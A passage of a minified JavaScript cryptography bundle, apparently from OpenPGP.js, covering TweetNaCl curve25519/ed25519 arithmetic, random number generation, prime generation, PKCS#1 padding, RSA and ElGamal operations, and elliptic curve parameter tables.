=b+n+65535)-65536*(n=Math.floor(i/65536)),m=(i=m+n+65535)-65536*(n=Math.floor(i/65536)),g=(i=g+n+65535)-65536*(n=Math.floor(i/65536)),w=(i=w+n+65535)-65536*(n=Math.floor(i/65536)),v=(i=v+n+65535)-65536*(n=Math.floor(i/65536)),a+=n-1+37*(n-1),e[0]=a,e[1]=s,e[2]=o,e[3]=c,e[4]=u,e[5]=h,e[6]=d,e[7]=f,e[8]=l,e[9]=p,e[10]=y,e[11]=b,e[12]=m,e[13]=g,e[14]=w,e[15]=v}function A(e,t){k(e,t,t)}function S(e,r){var i,n=t();for(i=0;i<16;i++)n[i]=r[i];for(i=253;i>=0;i--)A(n,n),2!==i&&4!==i&&k(n,n,r);for(i=0;i<16;i++)e[i]=n[i]}function E(e,r,i){var n,a,o=new Uint8Array(32),c=new Float64Array(80),u=t(),h=t(),d=t(),f=t(),l=t(),p=t();for(a=0;a<31;a++)o[a]=r[a];for(o[31]=127&r[31]|64,o[0]&=248,w(c,i),a=0;a<16;a++)h[a]=c[a],f[a]=u[a]=d[a]=0;for(u[0]=f[0]=1,a=254;a>=0;--a)y(u,h,n=o[a>>>3]>>>(7&a)&1),y(d,f,n),v(l,u,d),_(u,u,d),v(d,h,f),_(h,h,f),A(f,l),A(p,u),k(u,d,u),k(d,h,l),v(l,u,d),_(u,u,d),A(h,u),_(d,f,p),k(u,d,s),v(u,u,f),k(d,d,u),k(u,f,p),k(f,h,c),A(h,l),y(u,h,n),y(d,f,n);for(a=0;a<16;a++)c[a+16]=u[a],c[a+32]=d[a],c[a+48]=h[a],c[a+64]=f[a];var m=c.subarray(32),g=c.subarray(16);return S(m,m),k(g,g,m),b(e,g),0}function P(e,t){return E(e,t,i)}function x(e,r){var i=t(),n=t(),a=t(),s=t(),o=t(),u=t(),h=t(),d=t(),f=t();_(i,e[1],e[0]),_(f,r[1],r[0]),k(i,i,f),v(n,e[0],e[1]),v(f,r[0],r[1]),k(n,n,f),k(a,e[3],r[3]),k(a,a,c),k(s,e[2],r[2]),v(s,s,s),_(o,n,i),_(u,s,a),v(h,s,a),v(d,n,i),k(e[0],o,u),k(e[1],d,h),k(e[2],h,u),k(e[3],o,d)}function M(e,t,r){var i;for(i=0;i<4;i++)y(e[i],t[i],r)}function C(e,r){var i=t(),n=t(),a=t();S(a,r[2]),k(i,r[0],a),k(n,r[1],a),b(e,n),e[31]^=g(i)<<7}function K(e,t,r){var i,s;for(l(e[0],n),l(e[1],a),l(e[2],a),l(e[3],n),s=255;s>=0;--s)M(e,t,i=r[s/8|0]>>(7&s)&1),x(t,e),x(e,e),M(e,t,i)}function D(e,r){var i=[t(),t(),t(),t()];l(i[0],u),l(i[1],h),l(i[2],a),k(i[3],u,h),K(e,i,r)}function R(i,n,a){var s,o,c=[t(),t(),t(),t()];for(a||r(n,32),(s=e.hash(n.subarray(0,32)))[0]&=248,s[31]&=127,s[31]|=64,D(c,s),C(i,c),o=0;o<32;o++)n[o+32]=i[o];return 0}var I=new Float64Array([237,211,245,92,26,99,18,88,214,156,247,162,222,249,222,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16]);function U(e,t){var r,i,n,a;for(i=63;i>=32;--i){for(r=0,n=i-32,a=i-12;n<a;++n)t[n]+=r-16*t[i]*I[n-(i-32)],r=Math.floor((t[n]+128)/256),t[n]-=256*r;t[n]+=r,t[i]=0}for(r=0,n=0;n<32;n++)t[n]+=r-(t[31]>>4)*I[n],r=t[n]>>8,t[n]&=255;for(n=0;n<32;n++)t[n]-=r*I[n];for(i=0;i<32;i++)t[i+1]+=t[i]>>8,e[i]=255&t[i]}function B(e){var t,r=new Float64Array(64);for(t=0;t<64;t++)r[t]=e[t];for(t=0;t<64;t++)e[t]=0;U(e,r)}function T(e,r){var i=t(),s=t(),c=t(),u=t(),h=t(),f=t(),p=t();return l(e[2],a),w(e[1],r),A(c,e[1]),k(u,c,o),_(c,c,e[2]),v(u,e[2],u),A(h,u),A(f,h),k(p,f,h),k(i,p,c),k(i,i,u),function(e,r){var i,n=t();for(i=0;i<16;i++)n[i]=r[i];for(i=250;i>=0;i--)A(n,n),1!==i&&k(n,n,r);for(i=0;i<16;i++)e[i]=n[i]}(i,i),k(i,i,c),k(i,i,u),k(i,i,u),k(e[0],i,u),A(s,e[0]),k(s,s,u),m(s,c)&&k(e[0],e[0],d),A(s,e[0]),k(s,s,u),m(s,c)?-1:(g(e[0])===r[31]>>7&&_(e[0],n,e[0]),k(e[3],e[0],e[1]),0)}var z=64;function q(){for(var e=0;e<arguments.length;e++)if(!(arguments[e]instanceof Uint8Array))throw new TypeError("unexpected type, use Uint8Array")}function O(e){for(var t=0;t<e.length;t++)e[t]=0}e.scalarMult=function(e,t){if(q(e,t),32!==e.length)throw Error("bad n size");if(32!==t.length)throw Error("bad p size");var r=new Uint8Array(32);return E(r,e,t),r},e.box={},e.box.keyPair=function(){var e,t,i=new Uint8Array(32),n=new Uint8Array(32);return e=i,r(t=n,32),P(e,t),{publicKey:i,secretKey:n}},e.box.keyPair.fromSecretKey=function(e){if(q(e),32!==e.length)throw Error("bad secret key size");var t=new Uint8Array(32);return P(t,e),{publicKey:t,secretKey:new Uint8Array(e)}},e.sign=function(r,i){if(q(r,i),64!==i.length)throw Error("bad secret key size");var n=new Uint8Array(z+r.length);return function(r,i,n,a){var s,o,c,u,h,d=new Float64Array(64),f=[t(),t(),t(),t()];(s=e.hash(a.subarray(0,32)))[0]&=248,s[31]&=127,s[31]|=64;var l=n+64;for(u=0;u<n;u++)r[64+u]=i[u];for(u=0;u<32;u++)r[32+u]=s[32+u];for(B(c=e.hash(r.subarray(32,l))),D(f,c),C(r,f),u=32;u<64;u++)r[u]=a[u];for(B(o=e.hash(r.subarray(0,l))),u=0;u<64;u++)d[u]=0;for(u=0;u<32;u++)d[u]=c[u];for(u=0;u<32;u++)for(h=0;h<32;h++)d[u+h]+=o[u]*s[h];U(r.subarray(32),d)}(n,r,r.length,i),n},e.sign.detached=function(t,r){for(var i=e.sign(t,r),n=new Uint8Array(z),a=0;a<n.length;a++)n[a]=i[a];return n},e.sign.detached.verify=function(r,i,n){if(q(r,i,n),i.length!==z)throw Error("bad signature size");if(32!==n.length)throw Error("bad public key size");var a,s=new Uint8Array(z+r.length),o=new Uint8Array(z+r.length);for(a=0;a<z;a++)s[a]=i[a];for(a=0;a<r.length;a++)s[a+z]=r[a];return function(r,i,n,a){var s,o,c=new Uint8Array(32),u=[t(),t(),t(),t()],h=[t(),t(),t(),t()];if(n<64)return-1;if(T(h,a))return-1;for(s=0;s<n;s++)r[s]=i[s];for(s=0;s<32;s++)r[s+32]=a[s];if(B(o=e.hash(r.subarray(0,n))),K(u,h,o),D(h,i.subarray(32)),x(u,h),C(c,u),n-=64,f(i,0,c,0)){for(s=0;s<n;s++)r[s]=0;return-1}for(s=0;s<n;s++)r[s]=i[s+64];return n}(o,s,s.length,n)>=0},e.sign.keyPair=function(){var e=new Uint8Array(32),t=new Uint8Array(64);return R(e,t),{publicKey:e,secretKey:t}},e.sign.keyPair.fromSecretKey=function(e){if(q(e),64!==e.length)throw Error("bad secret key size");for(var t=new Uint8Array(32),r=0;r<t.length;r++)t[r]=e[32+r];return{publicKey:t,secretKey:new Uint8Array(e)}},e.sign.keyPair.fromSeed=function(e){if(q(e),32!==e.length)throw Error("bad seed size");for(var t=new Uint8Array(32),r=new Uint8Array(64),i=0;i<32;i++)r[i]=e[i];return R(t,r,!0),{publicKey:t,secretKey:r}},e.setPRNG=function(e){r=e},function(){var t="undefined"!=typeof self?self.crypto||self.msCrypto:null;if(t&&t.getRandomValues){e.setPRNG((function(e,r){var i,n=new Uint8Array(r);for(i=0;i<r;i+=65536)t.getRandomValues(n.subarray(i,i+Math.min(r-i,65536)));for(i=0;i<r;i++)e[i]=n[i];O(n)}))}else(t=void 0)&&t.randomBytes&&e.setPRNG((function(e,r){var i,n=t.randomBytes(r);for(i=0;i<r;i++)e[i]=n[i];O(n)}))}()}(e.exports?e.exports:self.nacl=self.nacl||{})}));const Pi=V.getNodeCrypto();async function xi(e){const t=new Uint8Array(e);if("undefined"!=typeof crypto&&crypto.getRandomValues)crypto.getRandomValues(t);else if(Pi){const e=Pi.randomBytes(t.length);t.set(e)}else{if(!Ci.buffer)throw Error("No secure random number generator available.");await Ci.get(t)}return t}async function Mi(e,t){const r=await V.getBigInteger();if(t.lt(e))throw Error("Illegal parameter value: max <= min");const i=t.sub(e),n=i.byteLength();return new r(await xi(n+8)).mod(i).add(e)}const Ci=new class{constructor(){this.buffer=null,this.size=null,this.callback=null}init(e,t){this.buffer=new Uint8Array(e),this.size=0,this.callback=t}set(e){if(!this.buffer)throw Error("RandomBuffer is not initialized");if(!(e instanceof Uint8Array))throw Error("Invalid type: buf not an Uint8Array");const t=this.buffer.length-this.size;e.length>t&&(e=e.subarray(0,t)),this.buffer.set(e,this.size),this.size+=e.length}async get(e){if(!this.buffer)throw Error("RandomBuffer is not initialized");if(!(e instanceof Uint8Array))throw Error("Invalid type: buf not an Uint8Array");if(this.size<e.length){if(!this.callback)throw Error("Random number buffer depleted");return await this.callback(),this.get(e)}for(let t=0;t<e.length;t++)e[t]=this.buffer[--this.size],this.buffer[this.size]=0}};var Ki=/*#__PURE__*/Object.freeze({__proto__:null,getRandomBytes:xi,getRandomBigInteger:Mi,randomBuffer:Ci});async function Di(e,t,r){const i=await V.getBigInteger(),n=new i(1),a=n.leftShift(new i(e-1)),s=new i(30),o=[1,6,5,4,3,2,1,4,3,2,1,2,1,4,3,2,1,2,1,4,3,2,1,6,5,4,3,2,1,2],c=await Mi(a,a.leftShift(n));let u=c.mod(s).toNumber();do{c.iadd(new i(o[u])),u=(u+o[u])%o.length,c.bitLength()>e&&(c.imod(a.leftShift(n)).iadd(a),u=c.mod(s).toNumber())}while(!await Ri(c,t,r));return c}async function Ri(e,t,r){return!(t&&!e.dec().gcd(t).isOne())&&(!!await async function(e){const t=await V.getBigInteger();return Ii.every((r=>0!==e.mod(new t(r))))}(e)&&(!!await async function(e,t){const r=await V.getBigInteger();return(t=t||new r(2)).modExp(e.dec(),e).isOne()}(e)&&!!await async function(e,t,r){const i=await V.getBigInteger(),n=e.bitLength();t||(t=Math.max(1,n/48|0));const a=e.dec();let s=0;for(;!a.getBit(s);)s++;const o=e.rightShift(new i(s));for(;t>0;t--){let t,n=(r?r():await Mi(new i(2),a)).modExp(o,e);if(!n.isOne()&&!n.equal(a)){for(t=1;t<s;t++){if(n=n.mul(n).mod(e),n.isOne())return!1;if(n.equal(a))break}if(t===s)return!1}}return!0}(e,r)))}const Ii=[7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509,521,523,541,547,557,563,569,571,577,587,593,599,601,607,613,617,619,631,641,643,647,653,659,661,673,677,683,691,701,709,719,727,733,739,743,751,757,761,769,773,787,797,809,811,821,823,827,829,839,853,857,859,863,877,881,883,887,907,911,919,929,937,941,947,953,967,971,977,983,991,997,1009,1013,1019,1021,1031,1033,1039,1049,1051,1061,1063,1069,1087,1091,1093,1097,1103,1109,1117,1123,1129,1151,1153,1163,1171,1181,1187,1193,1201,1213,1217,1223,1229,1231,1237,1249,1259,1277,1279,1283,1289,1291,1297,1301,1303,1307,1319,1321,1327,1361,1367,1373,1381,1399,1409,1423,1427,1429,1433,1439,1447,1451,1453,1459,1471,1481,1483,1487,1489,1493,1499,1511,1523,1531,1543,1549,1553,1559,1567,1571,1579,1583,1597,1601,1607,1609,1613,1619,1621,1627,1637,1657,1663,1667,1669,1693,1697,1699,1709,1721,1723,1733,1741,1747,1753,1759,1777,1783,1787,1789,1801,1811,1823,1831,1847,1861,1867,1871,1873,1877,1879,1889,1901,1907,1913,1931,1933,1949,1951,1973,1979,1987,1993,1997,1999,2003,2011,2017,2027,2029,2039,2053,2063,2069,2081,2083,2087,2089,2099,2111,2113,2129,2131,2137,2141,2143,2153,2161,2179,2203,2207,2213,2221,2237,2239,2243,2251,2267,2269,2273,2281,2287,2293,2297,2309,2311,2333,2339,2341,2347,2351,2357,2371,2377,2381,2383,2389,2393,2399,2411,2417,2423,2437,2441,2447,2459,2467,2473,2477,2503,2521,2531,2539,2543,2549,2551,2557,2579,2591,2593,2609,2617,2621,2633,2647,2657,2659,2663,2671,2677,2683,2687,2689,2693,2699,2707,2711,2713,2719,2729,2731,2741,2749,2753,2767,2777,2789,2791,2797,2801,2803,2819,2833,2837,2843,2851,2857,2861,2879,2887,2897,2903,2909,2917,2927,2939,2953,2957,2963,2969,2971,2999,3001,3011,3019,3023,3037,3041,3049,3061,3067,3079,3083,3089,3109,3119,3121,3137,3163,3167,3169,3181,3187,3191,3203,3209,3217,3221,3229,3251,3253,3257,3259,3271,3299,3301,3307,3313,3319,3323,3329,3331,3343,3347,3359,3361,3371,3373,3389,3391,3407,3413,3433,3449,3457,3461,3463,3467,3469,3491,3499,3511,3517,3527,3529,3533,3539,3541,3547,3557,3559,3571,3581,3583,3593,3607,3613,3617,3623,3631,3637,3643,3659,3671,3673,3677,3691,3697,3701,3709,3719,3727,3733,3739,3761,3767,3769,3779,3793,3797,3803,3821,3823,3833,3847,3851,3853,3863,3877,3881,3889,3907,3911,3917,3919,3923,3929,3931,3943,3947,3967,3989,4001,4003,4007,4013,4019,4021,4027,4049,4051,4057,4073,4079,4091,4093,4099,4111,4127,4129,4133,4139,4153,4157,4159,4177,4201,4211,4217,4219,4229,4231,4241,4243,4253,4259,4261,4271,4273,4283,4289,4297,4327,4337,4339,4349,4357,4363,4373,4391,4397,4409,4421,4423,4441,4447,4451,4457,4463,4481,4483,4493,4507,4513,4517,4519,4523,4547,4549,4561,4567,4583,4591,4597,4603,4621,4637,4639,4643,4649,4651,4657,4663,4673,4679,4691,4703,4721,4723,4729,4733,4751,4759,4783,4787,4789,4793,4799,4801,4813,4817,4831,4861,4871,4877,4889,4903,4909,4919,4931,4933,4937,4943,4951,4957,4967,4969,4973,4987,4993,4999];const Ui=[];async function Bi(e,t){const r=e.length;if(r>t-11)throw Error("Message too long");const i=await async function(e){const t=new Uint8Array(e);let r=0;for(;r<e;){const i=await xi(e-r);for(let e=0;e<i.length;e++)0!==i[e]&&(t[r++]=i[e])}return t}(t-r-3),n=new Uint8Array(t);return n[1]=2,n.set(i,2),n.set(e,t-r),n}function Ti(e){let t=2;for(;0!==e[t]&&t<e.length;)t++;const r=t-2,i=e[t++];if(0===e[0]&&2===e[1]&&r>=8&&0===i)return e.subarray(t);throw Error("Decryption error")}async function zi(e,t,r){let i;if(t.length!==Tr.getHashByteLength(e))throw Error("Invalid hash length");const n=new Uint8Array(Ui[e].length);for(i=0;i<Ui[e].length;i++)n[i]=Ui[e][i];const a=n.length+t.length;if(r<a+11)throw Error("Intended encoded message length too short");const s=new Uint8Array(r-a-3).fill(255),o=new Uint8Array(r);return o[1]=1,o.set(s,2),o.set(n,r-a),o.set(t,r-t.length),o}Ui[1]=[48,32,48,12,6,8,42,134,72,134,247,13,2,5,5,0,4,16],Ui[2]=[48,33,48,9,6,5,43,14,3,2,26,5,0,4,20],Ui[3]=[48,33,48,9,6,5,43,36,3,2,1,5,0,4,20],Ui[8]=[48,49,48,13,6,9,96,134,72,1,101,3,4,2,1,5,0,4,32],Ui[9]=[48,65,48,13,6,9,96,134,72,1,101,3,4,2,2,5,0,4,48],Ui[10]=[48,81,48,13,6,9,96,134,72,1,101,3,4,2,3,5,0,4,64],Ui[11]=[48,45,48,13,6,9,96,134,72,1,101,3,4,2,4,5,0,4,28];var qi=/*#__PURE__*/Object.freeze({__proto__:null,emeEncode:Bi,emeDecode:Ti,emsaEncode:zi});const Oi=V.getWebCrypto(),Fi=V.getNodeCrypto(),Ni=void 0,Li=V.detectNode()?Ni.define("RSAPrivateKey",(function(){this.seq().obj(this.key("version").int(),this.key("modulus").int(),this.key("publicExponent").int(),this.key("privateExponent").int(),this.key("prime1").int(),this.key("prime2").int(),this.key("exponent1").int(),this.key("exponent2").int(),this.key("coefficient").int())})):void 0,ji=V.detectNode()?Ni.define("RSAPubliceKey",(function(){this.seq().obj(this.key("modulus").int(),this.key("publicExponent").int())})):void 0;var Wi=/*#__PURE__*/Object.freeze({__proto__:null,sign:async function(e,t,r,i,n,a,s,o,c){if(t&&!V.isStream(t))if(V.getWebCrypto())try{return await async function(e,t,r,i,n,a,s,o){const c=await async function(e,t,r,i,n,a){const s=await V.getBigInteger(),o=new s(i),c=new s(n),u=new s(r);let h=u.mod(c.dec()),d=u.mod(o.dec());return d=d.toUint8Array(),h=h.toUint8Array(),{kty:"RSA",n:ee(e,!0),e:ee(t,!0),d:ee(r,!0),p:ee(n,!0),q:ee(i,!0),dp:ee(h,!0),dq:ee(d,!0),qi:ee(a,!0),ext:!0}}(r,i,n,a,s,o),u={name:"RSASSA-PKCS1-v1_5",hash:{name:e}},h=await Oi.importKey("jwk",c,u,!1,["sign"]);return new Uint8Array(await Oi.sign({name:"RSASSA-PKCS1-v1_5",hash:e},h,t))}(re.read(re.webHash,e),t,r,i,n,a,s,o)}catch(e){V.printDebugError(e)}else if(V.getNodeCrypto())return async function(e,t,r,i,n,a,s,o){const{default:c}=await Promise.resolve().then((function(){return Rf})),u=new c(a),h=new c(s),d=new c(n),f=d.mod(h.subn(1)),l=d.mod(u.subn(1)),p=Fi.createSign(re.read(re.hash,e));p.write(t),p.end();const y={version:0,modulus:new c(r),publicExponent:new c(i),privateExponent:new c(n),prime1:new c(s),prime2:new c(a),exponent1:f,exponent2:l,coefficient:new c(o)};if(void 0!==Fi.createPrivateKey){const e=Li.encode(y,"der");return new Uint8Array(p.sign({key:e,format:"der",type:"pkcs1"}))}const b=Li.encode(y,"pem",{label:"RSA PRIVATE KEY"});return new Uint8Array(p.sign(b))}(e,t,r,i,n,a,s,o);return async function(e,t,r,i){const n=await V.getBigInteger();t=new n(t);const a=new n(await zi(e,i,t.byteLength()));if(r=new n(r),a.gte(t))throw Error("Message size cannot exceed modulus size");return a.modExp(r,t).toUint8Array("be",t.byteLength())}(e,r,n,c)},verify:async function(e,t,r,i,n,a){if(t&&!V.isStream(t))if(V.getWebCrypto())try{return await async function(e,t,r,i,n){const a=function(e,t){return{kty:"RSA",n:ee(e,!0),e:ee(t,!0),ext:!0}}(i,n),s=await Oi.importKey("jwk",a,{name:"RSASSA-PKCS1-v1_5",hash:{name:e}},!1,["verify"]);return Oi.verify({name:"RSASSA-PKCS1-v1_5",hash:e},s,r,t)}(re.read(re.webHash,e),t,r,i,n)}catch(e){V.printDebugError(e)}else if(V.getNodeCrypto())return async function(e,t,r,i,n){const{default:a}=await Promise.resolve().then((function(){return Rf})),s=Fi.createVerify(re.read(re.hash,e));s.write(t),s.end();const o={modulus:new a(i),publicExponent:new a(n)};let c;if(void 0!==Fi.createPrivateKey){c={key:ji.encode(o,"der"),format:"der",type:"pkcs1"}}else c=ji.encode(o,"pem",{label:"RSA PUBLIC KEY"});try{return await s.verify(c,r)}catch(e){return!1}}(e,t,r,i,n);return async function(e,t,r,i,n){const a=await V.getBigInteger();if(r=new a(r),t=new a(t),i=new a(i),t.gte(r))throw Error("Signature size cannot exceed modulus size");const s=t.modExp(i,r).toUint8Array("be",r.byteLength()),o=await zi(e,n,r.byteLength());return V.equalsUint8Array(s,o)}(e,r,i,n,a)},encrypt:async function(e,t,r){return V.getNodeCrypto()?async function(e,t,r){const{default:i}=await Promise.resolve().then((function(){return Rf})),n={modulus:new i(t),publicExponent:new i(r)};let a;if(void 0!==Fi.createPrivateKey){a={key:ji.encode(n,"der"),format:"der",type:"pkcs1",padding:Fi.constants.RSA_PKCS1_PADDING}}else{a={key:ji.encode(n,"pem",{label:"RSA PUBLIC KEY"}),padding:Fi.constants.RSA_PKCS1_PADDING}}return new Uint8Array(Fi.publicEncrypt(a,e))}(e,t,r):async function(e,t,r){const i=await V.getBigInteger();if(t=new i(t),e=new i(await Bi(e,t.byteLength())),r=new i(r),e.gte(t))throw Error("Message size cannot exceed modulus size");return e.modExp(r,t).toUint8Array("be",t.byteLength())}(e,t,r)},decrypt:async function(e,t,r,i,n,a,s){return V.getNodeCrypto()?async function(e,t,r,i,n,a,s){const{default:o}=await Promise.resolve().then((function(){return Rf})),c=new o(n),u=new o(a),h=new o(i),d=h.mod(u.subn(1)),f=h.mod(c.subn(1)),l={version:0,modulus:new o(t),publicExponent:new o(r),privateExponent:new o(i),prime1:new o(a),prime2:new o(n),exponent1:d,exponent2:f,coefficient:new o(s)};let p;if(void 0!==Fi.createPrivateKey){p={key:Li.encode(l,"der"),format:"der",type:"pkcs1",padding:Fi.constants.RSA_PKCS1_PADDING}}else{p={key:Li.encode(l,"pem",{label:"RSA PRIVATE KEY"}),padding:Fi.constants.RSA_PKCS1_PADDING}}try{return new Uint8Array(Fi.privateDecrypt(p,e))}catch(e){throw Error("Decryption error")}}(e,t,r,i,n,a,s):async function(e,t,r,i,n,a,s){const o=await V.getBigInteger();if(e=new o(e),t=new o(t),r=new o(r),i=new o(i),n=new o(n),a=new o(a),s=new o(s),e.gte(t))throw Error("Data too large.");const c=i.mod(a.dec()),u=i.mod(n.dec()),h=(await Mi(new o(2),t)).mod(t),d=h.modInv(t).modExp(r,t),f=(e=e.mul(d).mod(t)).modExp(u,n),l=e.modExp(c,a);let p=s.mul(l.sub(f)).mod(a).mul(n).add(f);return p=p.mul(h).mod(t),Ti(p.toUint8Array("be",t.byteLength()))}(e,t,r,i,n,a,s)},generate:async function(e,t){if(t=new(await V.getBigInteger())(t),V.getWebCrypto()){const r={name:"RSASSA-PKCS1-v1_5",modulusLength:e,publicExponent:t.toUint8Array(),hash:{name:"SHA-1"}},i=await Oi.generateKey(r,!0,["sign","verify"]),n=await Oi.exportKey("jwk",i.privateKey);return{n:J(n.n),e:t.toUint8Array(),d:J(n.d),p:J(n.q),q:J(n.p),u:J(n.qi)}}if(V.getNodeCrypto()&&Fi.generateKeyPair&&Li){const r={modulusLength:e,publicExponent:t.toNumber(),publicKeyEncoding:{type:"pkcs1",format:"der"},privateKeyEncoding:{type:"pkcs1",format:"der"}},i=await new Promise(((e,t)=>Fi.generateKeyPair("rsa",r,((r,i,n)=>{r?t(r):e(Li.decode(n,"der"))}))));return{n:i.modulus.toArrayLike(Uint8Array),e:i.publicExponent.toArrayLike(Uint8Array),d:i.privateExponent.toArrayLike(Uint8Array),p:i.prime2.toArrayLike(Uint8Array),q:i.prime1.toArrayLike(Uint8Array),u:i.coefficient.toArrayLike(Uint8Array)}}let r,i,n;do{i=await Di(e-(e>>1),t,40),r=await Di(e>>1,t,40),n=r.mul(i)}while(n.bitLength()!==e);const a=r.dec().imul(i.dec());return i.lt(r)&&([r,i]=[i,r]),{n:n.toUint8Array(),e:t.toUint8Array(),d:t.modInv(a).toUint8Array(),p:r.toUint8Array(),q:i.toUint8Array(),u:r.modInv(i).toUint8Array()}},validateParams:async function(e,t,r,i,n,a){const s=await V.getBigInteger();if(e=new s(e),i=new s(i),n=new s(n),!i.mul(n).equal(e))return!1;const o=new s(2);if(a=new s(a),!i.mul(a).mod(n).isOne())return!1;t=new s(t),r=new s(r);const c=new s(Math.floor(e.bitLength()/3)),u=await Mi(o,o.leftShift(c)),h=u.mul(r).mul(t);return!(!h.mod(i.dec()).equal(u)||!h.mod(n.dec()).equal(u))}});var Hi=/*#__PURE__*/Object.freeze({__proto__:null,encrypt:async function(e,t,r,i){const n=await V.getBigInteger();t=new n(t),r=new n(r),i=new n(i);const a=new n(await Bi(e,t.byteLength())),s=await Mi(new n(1),t.dec());return{c1:r.modExp(s,t).toUint8Array(),c2:i.modExp(s,t).imul(a).imod(t).toUint8Array()}},decrypt:async function(e,t,r,i){const n=await V.getBigInteger();return e=new n(e),t=new n(t),r=new n(r),i=new n(i),Ti(e.modExp(i,r).modInv(r).imul(t).imod(r).toUint8Array("be",r.byteLength()))},validateParams:async function(e,t,r,i){const n=await V.getBigInteger();e=new n(e),t=new n(t),r=new n(r);const a=new n(1);if(t.lte(a)||t.gte(e))return!1;const s=new n(e.bitLength()),o=new n(1023);if(s.lt(o))return!1;if(!t.modExp(e.dec(),e).isOne())return!1;let c=t;const u=new n(1),h=new n(2).leftShift(new n(17));for(;u.lt(h);){if(c=c.mul(t).imod(e),c.isOne())return!1;u.iinc()}i=new n(i);const d=new n(2),f=await Mi(d.leftShift(s.dec()),d.leftShift(s)),l=e.dec().imul(f).iadd(i);return!!r.equal(t.modExp(l,e))}});class Gi{constructor(e){if(e instanceof Gi)this.oid=e.oid;else if(V.isArray(e)||V.isUint8Array(e)){if(6===(e=new Uint8Array(e))[0]){if(e[1]!==e.length-2)throw Error("Length mismatch in DER encoded oid");e=e.subarray(2)}this.oid=e}else this.oid=""}read(e){if(e.length>=1){const t=e[0];if(e.length>=1+t)return this.oid=e.subarray(1,1+t),1+this.oid.length}throw Error("Invalid oid")}write(){return V.concatUint8Array([new Uint8Array([this.oid.length]),this.oid])}toHex(){return V.uint8ArrayToHex(this.oid)}getName(){const e=this.toHex();if(re.curve[e])return re.write(re.curve,e);throw Error("Unknown curve object identifier.")}}function Vi(e,t){return e.keyPair({priv:t})}function $i(e,t){const r=e.keyPair({pub:t});if(!0!==r.validate().result)throw Error("Invalid elliptic public key");return r}async function Zi(e){if(!ie.useIndutnyElliptic)throw Error("This curve is only supported in the full build of OpenPGP.js");const{default:t}=await Promise.resolve().then((function(){return Xl}));return new t.ec(e)}const Yi=V.getWebCrypto(),Xi=V.getNodeCrypto(),Qi={p256:"P-256",p384:"P-384",p521:"P-521"},Ji=Xi?Xi.getCurves():[],en=Xi?{secp256k1:Ji.includes("secp256k1")?"secp256k1":void 0,p256:Ji.includes("prime256v1")?"prime256v1":void 0,p384:Ji.includes("secp384r1")?"secp384r1":void 0,p521:Ji.includes("secp521r1")?"secp521r1":void 0,ed25519:Ji.includes("ED25519")?"ED25519":void 0,curve25519:Ji.includes("X25519")?"X25519":void 0,brainpoolP256r1:Ji.includes("brainpoolP256r1")?"brainpoolP256r1":void 0,brainpoolP384r1:Ji.includes("brainpoolP384r1")?"brainpoolP384r1":void 0,brainpoolP512r1:Ji.includes("brainpoolP512r1")?"brainpoolP512r1":void 0}:{},tn={p256:{oid:[6,8,42,134,72,206,61,3,1,7],keyType:re.publicKey.ecdsa,hash:re.hash.sha256,cipher:re.symmetric.aes128,node:en.p256,web:Qi.p256,payloadSize:32,sharedSize:256},p384:{oid:[6,5,43,129,4,0,34],keyType:re.publicKey.ecdsa,hash:re.hash.sha384,cipher:re.symmetric.aes192,node:en.p384,web:Qi.p384,payloadSize:48,sharedSize:384},p521:{oid:[6,5,43,129,4,0,35],keyType:re.publicKey.ecdsa,hash:re.hash.sha512,cipher:re.symmetric.aes256,node:en.p521,web:Qi.p521,payloadSize:66,sharedSize:528},secp256k1:{oid:[6,5,43,129,4,0,10],keyType:re.publicKey.ecdsa,hash:re.hash.sha256,cipher:re.symmetric.aes128,node:en.secp256k1,payloadSize:32},ed25519:{oid:[6,9,43,6,1,4,1,218,71,15,1],keyType:re.publicKey.eddsa,hash:re.hash.sha512,node:!1,payloadSize:32},curve25519:{oid:[6,10,43,6,1,4,1,151,85,1,5,1],keyType:re.publicKey.ecdh,hash:re.hash.sha256,cipher:re.symmetric.aes128,node:!1,payloadSize:32},brainpoolP256r1:{oid:[6,9,43,36,3,3,2,8,1,1,7],keyType:re.publicKey.ecdsa,hash:re.hash.sha256,cipher:re.symmetric.aes128,node:en.brainpoolP256r1,payloadSize:32},brainpoolP384r1:{oid:[6,9,43,36,3,3,2,8,1,1,11],keyType:re.publicKey.ecdsa,hash:re.hash.sha384,cipher:re.symmetric.aes192,node:en.brainpoolP384r1,payloadSize:48},brainpoolP512r1:{oid:[6,9,43,36,3,3,2,8,1,1,13],keyType:re.publicKey.ecdsa,hash:re.hash.sha512,cipher:re.symmetric.aes256,node:en.brainpoolP512r1,payloadSize:64}};class rn{constructor(e,t){try{(V.isArray(e)||V.isUint8Array(e))&&(e=new Gi(e)),e instanceof Gi&&(e=e.getName()),this.name=re.write(re.curve,e)}catch(e){throw Error("Not valid curve")}t=t||tn[this.name],this.keyType=t.keyType,this.oid=t.oid,this.hash=t.hash,this.cipher=t.cipher,this.node=t.node&&tn[this.name],this.web=t.web&&tn[this.name],this.payloadSize=t.payloadSize,this.web&&V.getWebCrypto()?this.type="web":this.node&&V.getNodeCrypto()?this.type="node":"curve25519"===this.name?this.type="curve25519":"ed25519"===this.name&&(this.type="ed25519")}async genKeyPair(){let e;switch(this.type){case"web":try{return await async function(e){const t=await Yi.generateKey({name:"ECDSA",namedCurve:Qi[e]},!0,["sign","verify"]),r=await Yi.exportKey("jwk",t.privateKey);return{publicKey:an(await Yi.exportKey("jwk",t.publicKey)),privateKey:J(r.d)}}(this.name)}catch(e){V.printDebugError("Browser did not support generating ec key "+e.message);break}case"node":return async function(e){const t=Xi.createECDH(en[e]);return await t.generateKeys(),{publicKey:new Uint8Array(t.getPublicKey()),privateKey:new Uint8Array(t.getPrivateKey())}}(this.name);case"curve25519":{const t=await xi(32);t[0]=127&t[0]|64,t[31]&=248;const r=t.slice().reverse();e=Ei.box.keyPair.fromSecretKey(r);return{publicKey:V.concatUint8Array([new Uint8Array([64]),e.publicKey]),privateKey:t}}case"ed25519":{const e=await xi(32),t=Ei.sign.keyPair.fromSeed(e);return{publicKey:V.concatUint8Array([new Uint8Array([64]),t.publicKey]),privateKey:e}}}const t=await Zi(this.name);return e=await 